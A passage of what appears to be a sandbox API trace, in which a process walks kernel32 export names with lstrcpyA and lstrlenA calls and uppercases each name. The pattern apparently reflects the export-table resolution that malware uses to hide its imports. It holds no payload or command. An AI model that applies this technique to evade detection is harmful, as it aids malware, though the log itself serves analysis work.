(lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0137.733] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0137.733] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0137.733] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0137.733] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0137.733] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0137.733] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0137.733] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0137.733] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0137.734] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0137.734] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0137.734] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0137.734] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0137.734] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0137.734] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0137.734] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0137.734] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0137.734] lstrlenA (lpString="BACKUPREAD") returned 10 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0137.734] lstrlenA (lpString="BACKUPSEEK") returned 10 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0137.734] lstrlenA (lpString="BACKUPWRITE") returned 11 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0137.734] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0137.734] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0137.734] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0137.734] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0137.734] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0137.734] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0137.734] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0137.734] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0137.734] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0137.734] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0137.734] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0137.735] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0137.735] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0137.735] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0137.735] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0137.735] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0137.735] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0137.735] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0137.735] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0137.735] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0137.735] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0137.735] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0137.735] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0137.735] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0137.735] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0137.735] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0137.735] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0137.735] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0137.735] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0137.735] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0137.735] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0137.735] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0137.736] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0137.736] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0137.736] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0137.736] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0137.786] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0137.786] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0137.786] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0137.786] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0137.786] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0137.786] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0137.786] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0137.786] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0137.786] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0137.786] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0137.786] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0137.786] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0137.787] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0137.787] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0137.787] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0137.787] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0137.787] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0137.787] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0137.787] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0137.787] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0137.787] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0137.787] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0137.787] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0137.787] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0137.787] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0137.787] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0137.787] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0137.787] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0137.787] lstrlenA (lpString="BEEP") returned 4 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0137.787] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0137.787] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0137.787] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0137.788] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0137.788] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0137.788] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0137.788] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0137.788] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0137.788] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0137.788] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0137.788] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0137.788] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0137.788] lstrlenA (lpString="CANCELIO") returned 8 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0137.788] lstrlenA (lpString="CANCELIOEX") returned 10 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0137.788] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0137.788] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0137.788] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0137.788] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0137.788] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0137.788] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0137.788] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0137.788] lstrlenA (lpString="CHECKELEVATION") returned 14 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0137.788] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0137.788] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0137.788] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0137.789] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0137.789] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0137.789] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0137.789] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0137.789] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0137.789] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0137.789] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0137.789] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0137.789] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0137.789] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0137.789] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0137.789] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0137.789] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0137.789] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0137.789] lstrlenA (lpString="CLOSESTATE") returned 10 